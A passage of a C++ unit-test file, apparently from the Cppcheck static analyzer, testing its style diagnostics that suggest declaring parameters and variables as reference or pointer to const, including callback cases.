\"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* const& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const int* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:2:22]: (style) Variable 'p' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:33]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* const p) {\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int* const* pp) {\\n\"\n \" int* p = pp[0];\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S {\\n\"\n \" static bool f(const T& t) { return t != nullptr; }\\n\"\n \"};\\n\"\n \"S s;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef void* HWND;\\n\" // #11084\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using HWND = void*;\\n\"\n \"void f(const HWND h) {\\n\"\n \" if (h == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef int A;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"using A = int;\\n\"\n \"void f(A* x) {\\n\"\n \" if (x == nullptr) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"struct S { void v(); };\\n\" // #11095\n \"void f(S* s) {\\n\"\n \" (s - 1)->v();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #11085\n \" for (int* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" for (auto* p : v) {\\n\"\n \" if (p) {}\\n\"\n \" }\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:16]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1];\\n\"\n \" char* b[1];\\n\"\n \" b[0] = a[0];\\n\"\n \" **b = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"ptrdiff_t f(int *p0, int *p1) {\\n\" // #11148\n \" return p0 - p1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (style) Parameter 'p0' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:27]: (style) Parameter 'p1' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a{}, b{};\\n\"\n \" const std::array& r = a;\\n\"\n \" if (r == b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {};\\n\" // #11599\n \"void g(S);\\n\"\n \"void h(const S&);\\n\"\n \"void h(int, int, const S&);\\n\"\n \"void i(S&);\\n\"\n \"void j(const S*);\\n\"\n \"void j(int, int, const S*);\\n\"\n \"void f1(S* s) {\\n\"\n \" g(*s);\\n\"\n \"}\\n\"\n \"void f2(S* s) {\\n\"\n \" h(*s);\\n\"\n \"}\\n\"\n \"void f3(S* s) {\\n\"\n \" h(1, 2, *s);\\n\"\n \"}\\n\"\n \"void f4(S* s) {\\n\"\n \" i(*s);\\n\"\n \"}\\n\"\n \"void f5(S& s) {\\n\"\n \" j(&s);\\n\"\n \"}\\n\"\n \"void f6(S& s) {\\n\"\n \" j(1, 2, &s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:23:12]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:11:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:12]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int, const int*);\\n\"\n \"void h(const int*);\\n\"\n \"void f(int* p) {\\n\"\n \" g(1, p);\\n\"\n \" h(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void f(int, const int*);\\n\"\n \"void f(int i, int* p) {\\n\"\n \" f(i, const_cast(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"void f(std::vector& v, int b) {\\n\"\n \" size_t n = v.size();\\n\"\n \" for (size_t i = 0; i < n; i++) {\\n\"\n \" S& s = v[i];\\n\"\n \" if (!(b & s.a))\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (style) Variable 's' can be declared as reference to const [constVariableReference]\\n\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" new (&i) int();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int& i) {\\n\"\n \" int& r = i;\\n\"\n \" if (!&r) 